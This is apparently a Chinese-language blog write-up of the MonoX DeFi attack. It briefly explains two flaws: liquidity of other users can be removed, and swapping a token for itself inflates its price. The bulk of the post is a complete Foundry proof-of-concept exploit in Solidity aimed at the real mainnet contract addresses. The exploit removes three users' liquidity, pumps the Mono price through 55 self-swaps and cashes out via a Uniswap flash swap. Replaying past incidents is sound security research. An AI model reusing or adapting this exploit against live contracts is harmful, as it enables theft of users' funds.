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Mono攻击事件的介绍见:Defi安全–Monox攻击事件分析–phalcon+etherscan
Monox使用单边池模型,创建的是代币-vCash交易对,添加流动性时,只需添加代币,即可进行任意代币的兑换
主要的漏洞有两个方面:
tokenIn
和tokenOut
相等的情况,代码逻辑处理的时候,出现价格覆盖的情况,Mono代币价格异常抬升,具体可见相关攻击实现的分析。foundry进行外部合约调用的时候,用interface定义相应的方法,并定义对应合约的地址,实现外部合约的调用(觉得比较好的方式)
pragma solidity >=0.7.0 <0.9.0; import "forge-std/Test.sol"; interface IERC20 { function balanceOf(address owner) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function deposit() external payable; } interface IuniswapV2pair { function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; } interface IMonoswap { function removeLiquidity (address _token, uint256 liquidity, address to,uint256 minVcashOut, uint256 minTokenOut) external returns(uint256 vcashOut, uint256 tokenOut); function addLiquidity(address _token, uint256 _amount, address to) external returns (uint256 liquidity); function swapExactTokenForToken( address tokenIn, address tokenOut, uint amountIn, uint amountOutMin, address to, uint deadline ) external returns (uint amountOut); function swapTokenForExactToken( address tokenIn, address tokenOut, uint256 amountInMax, uint256 amountOut, address to, uint256 deadline ) external returns (uint256 amountIn); function pools(address) external view returns ( uint256 pid, uint256 lastPoolValue, address token, uint8 status, uint112 vcashDebt, uint112 vcashCredit, uint112 tokenBalance, uint256 price, uint256 createdAt ); } interface IMonoXPool { function totalSupplyOf(uint256 pid) external returns (uint256); function balanceOf(address account, uint256 id) external returns (uint256); } address constant uniswapv2pair = 0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc; address constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address constant Monoswap = 0xC36a7887786389405EA8DA0B87602Ae3902B88A1; address constant MonoXPool = 0x59653E37F8c491C3Be36e5DD4D503Ca32B5ab2f4; address constant Mono = 0x2920f7d6134f4669343e70122cA9b8f19Ef8fa5D; address constant usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; address constant liquidity_user1 = 0x7B9aa6ED8B514C86bA819B99897b69b608293fFC; address constant liquidity_user2 = 0x81D98c8fdA0410ee3e9D7586cB949cD19FA4cf38; address constant liquidity_user3 = 0xab5167e8cC36A3a91Fd2d75C6147140cd1837355;
攻击代码
调用forge进行测试
forge test --match-contract test_Monox -vv
结果:
contract test_Monox is Test{ function setUp() public { vm.createSelectFork("https://rpc.ankr.com/eth", 13_715_025); } //首先folk以太坊上对应区块的状态 function test_Monox_exploit() public { IERC20(Mono).approve(address(Monoswap), type(uint256).max); IERC20(weth).deposit{value: address(this).balance, gas: 40_000}(); console.log("WETH balance: ", IERC20(weth).balanceOf(address(this))); IERC20(weth).approve(address(Monoswap), 0.1 ether); //在进行对应的代币转移的时候,一定要记得先进行approve操作 IMonoswap(Monoswap).swapExactTokenForToken(weth, Mono, 0.1 ether, 1, address(this), 1638278872); console.log("Mono balance: ", IERC20(Mono).balanceOf(address(this))); //提取weth,并调用monoswap的函数,将0.1weth换成对应的Mono代币,易进行后续操作 remove_liquidity_user(); uint liquidity = IMonoswap(Monoswap).addLiquidity(address(Mono), 196975656, address(this)); console.log("attacker gain liquidity: ", liquidity); //攻击者自己添加对应的流动性,获得对应LP流动性证明,为后续拉升Mono价格做准备 raise_mono_price(); swap_mono_for_weth(); //将对应高价格的mono代币置换成weth } function remove_liquidity_user() public { (uint pid,,,,,,,,) = IMonoswap(Monoswap).pools(address(Mono)); uint balance = IMonoXPool(MonoXPool).totalSupplyOf(pid); console.log("pid: ", pid); console.log("monoXpool's mono balance: ", balance); uint balance1 = IMonoXPool(MonoXPool).balanceOf(address(liquidity_user1), pid); IMonoswap(Monoswap).removeLiquidity(address(Mono), balance1, address(liquidity_user1), 0, 1); uint balance2 = IMonoXPool(MonoXPool).balanceOf(address(liquidity_user2), pid); IMonoswap(Monoswap).removeLiquidity(address(Mono), balance2, address(liquidity_user2), 0, 1); uint balance3 = IMonoXPool(MonoXPool).balanceOf(address(liquidity_user3), pid); IMonoswap(Monoswap).removeLiquidity(address(Mono), balance3, address(liquidity_user3), 0, 1); //漏洞函数,根据phalcon的调用序列,移除对应用户的流动性 uint balance_afterremove = IMonoXPool(MonoXPool).totalSupplyOf(pid); console.log("monoXpool's mono balance after remove liquidity", balance_afterremove); } function raise_mono_price() public { for(uint i = 0 ; i < 55 ; i++){ (uint pid ,,,,,,uint tokenBalance,uint price, ) = IMonoswap(Monoswap).pools(address(Mono)); uint balance = IERC20(Mono).balanceOf(address(this)); IMonoswap(Monoswap).swapExactTokenForToken(address(Mono), address(Mono), tokenBalance ,0, address(this), 1638278872); console.log("Mono token Price - ",i,": ", price); } //按照对应的调用序列,得到池子里的Mono余额,并调用对应的漏洞函数,swapEaxctTokenForToken } function swap_mono_for_weth() public { uint weth_balance = IERC20(weth).balanceOf(address(this)); console.log("attacker weth balance: ", weth_balance); uint mono_balance = IERC20(Mono).balanceOf(address(this)); console.log("attacker mono balance: ", mono_balance); IuniswapV2pair(uniswapv2pair).swap(0, 547_206_697_433_507_365_949, address(this), "0x00"); //闪电贷,借贷weth和usdc的pair对 uint weth_balance2 = IERC20(weth).balanceOf(address(this)); console.log("attacker weth balance: ", weth_balance2 - weth_balance); uint mono_balance2 = IERC20(Mono).balanceOf(address(this)); console.log("attacker mono balance: ", mono_balance - mono_balance2); } function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public{ uint balance = IERC20(Mono).balanceOf(address(this)); IMonoswap(Monoswap).swapTokenForExactToken(address(Mono), address(usdc), balance, 4029106880396, address(this), 1638278872); bool success = IERC20(usdc).transfer(address(uniswapv2pair),3029106880396); require(success); //在回调函数中,调用monoswap对应的函数,将mono换成对应的usdc,实现对应的usdc还款。 } function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data) external returns(bytes4){ bytes4 a = bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)")); // a = 0xf23a6e61 return a; } //在添加流动性的时候,会回调对应的函数,否则会报错 }
攻击poc如果没有定义相应的的onERC1155Received,则在流动性生成时会报错,如下图所示:
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